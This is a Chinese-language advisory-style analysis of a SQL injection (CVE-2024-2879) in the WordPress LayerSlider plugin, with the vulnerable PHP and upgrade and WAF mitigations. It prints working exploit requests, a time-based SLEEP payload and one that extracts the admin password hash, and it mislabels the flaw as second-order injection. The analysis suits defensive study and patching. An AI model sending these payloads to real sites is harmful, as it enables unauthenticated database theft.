WordPress LayerSlider 插件存在SQL注入漏洞-CVE-2024-2879分析
字数 1543
更新时间 2025-08-23 06:04:56

WordPress LayerSlider 插件SQL注入漏洞(CVE-2024-2879)分析报告

漏洞概述

CVE-2024-2879是WordPress LayerSlider插件中发现的一个严重SQL注入漏洞,影响版本为7.9.11至7.10.0。该插件在WordPress生态中广泛使用,活跃安装量超过10万。漏洞CVSS评分为7.5分(高危),允许未经身份验证的攻击者从数据库中获取敏感信息。

受影响环境

  • 基于WordPress搭建的网站
  • 安装了LayerSlider插件且版本在7.9.11至7.10.0之间

漏洞分析

漏洞入口点

漏洞位于assets/wp/actions.php文件中的ls_get_popup_markup()函数:

function ls_get_popup_markup() {
    $id = is_numeric($_GET['id']) ? (int)$_GET['id'] : $_GET['id'];
    $popup = LS_Sliders::find($id);
    if($popup) {
        $GLOBALS['lsAjaxOverridePopupSettings'] = true;
        $parts = LS_Shortcode::generateSliderMarkup($popup);
        die($parts['container'].$parts['markup'].'<script>'.$parts['init'].'</script>');
    }
    die();
}

漏洞成因

  1. 输入验证不足:函数通过is_numeric()检查id参数是否为数字,如果不是则直接使用原始值,未进行充分过滤。

  2. SQL注入点:未经验证的id参数被传递给LS_Sliders::find()方法,最终被拼接到SQL查询中。

关键漏洞代码路径

  1. LS_Sliders::find()方法处理逻辑:
public static function find($args) {
    // ...
    if(is_numeric($args) && intval($args) == $args) {
        return self::_getById((int)$args);
    } elseif($args === 'random') {
        return self::_getRandom();
    } elseif(is_string($args)) {
        return self::_getBySlug($args);
    } elseif(is_array($args) && isset($args[0]) && is_numeric($args[0])) {
        return self::_getByIds($args);
    } else {
        // 漏洞主要触发路径
        // 处理数组参数并构建SQL查询
        // ...
        $where = '';
        if(!empty($args['where']) && !empty($args['exclude'])) {
            $where = "WHERE ({$args['exclude']}) AND ({$args['where']}) ";
        } elseif(!empty($args['where'])) {
            $where = "WHERE {$args['where']} ";
        }
        // ...
        $sliders = $wpdb->get_results("
            SELECT SQL_CALC_FOUND_ROWS {$args['columns']}
            FROM $table
            $where
            ORDER BY `{$args['orderby']}` {$args['order']}, name ASC
            LIMIT {$args['limit']}
        ", ARRAY_A);
        // ...
    }
}
  1. 关键问题
    • 虽然对大多数参数使用了esc_sql()进行转义,但where参数被排除在外
    • 直接拼接用户控制的where参数到SQL查询中
    • 注释中明确提到无法使用预处理语句,存在安全隐患

漏洞利用

利用条件

  • 目标网站使用受影响版本的LayerSlider插件
  • 插件已启用且相关功能未被禁用

利用方法

构造恶意请求触发SQL注入:

http://vulnerable-site.com/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=(SELECT 0 FROM (SELECT SLEEP(5))dwade)

POC构造说明

  1. 通过admin-ajax.php调用ls_get_popup_markup动作
  2. 传递数组形式的id参数,其中包含where
  3. where值包含恶意SQL代码,如时间延迟注入SLEEP(5)

其他可能的利用方式

除了时间盲注,攻击者还可以构造其他SQL注入payload:

  • 数据提取:id[where]=(SELECT 1 FROM wp_users WHERE user_login='admin' AND SUBSTRING(user_pass,1,1)='$')
  • 联合查询注入:构造UNION SELECT语句获取数据库信息

修复方案

官方修复

升级到LayerSlider插件的最新版本(7.10.1及以上)

临时缓解措施

  1. 禁用LayerSlider插件
  2. 通过WAF规则拦截包含可疑id[where]参数的请求
  3. 限制对admin-ajax.php的访问

漏洞验证

验证步骤

  1. 确认目标网站使用LayerSlider插件
  2. 检查插件版本是否在受影响范围内
  3. 发送测试请求观察响应时间:
    GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=(SELECT 0 FROM (SELECT SLEEP(5))test) HTTP/1.1
    Host: target.com
    
  4. 如果响应延迟约5秒,则存在漏洞

验证注意事项

  • 测试应在授权范围内进行
  • 使用最小影响payload(如短时间sleep)
  • 避免在生产环境进行破坏性测试

技术细节补充

漏洞调用链

  1. 前端请求 → admin-ajax.phpls_get_popup_markup()LS_Sliders::find() → SQL查询拼接

数据库操作细节

漏洞最终执行的SQL查询结构:

SELECT SQL_CALC_FOUND_ROWS {columns} 
FROM {table_prefix}layerslider 
WHERE {user_controlled_where_clause}
ORDER BY {orderby} {order}, name ASC 
LIMIT {limit}

WordPress安全机制绕过

  • 绕过esc_sql()保护,因为where参数被特殊处理
  • 通过数组参数传递注入payload绕过常规字符串过滤

总结

CVE-2024-2879是一个典型的二阶SQL注入漏洞,由于对用户输入验证不充分和不当的SQL查询构建方式导致。该漏洞允许攻击者在无需认证的情况下执行任意SQL命令,威胁数据库安全。所有使用受影响版本LayerSlider插件的WordPress网站都应立即升级到修复版本。

相似文章
相似文章
 全屏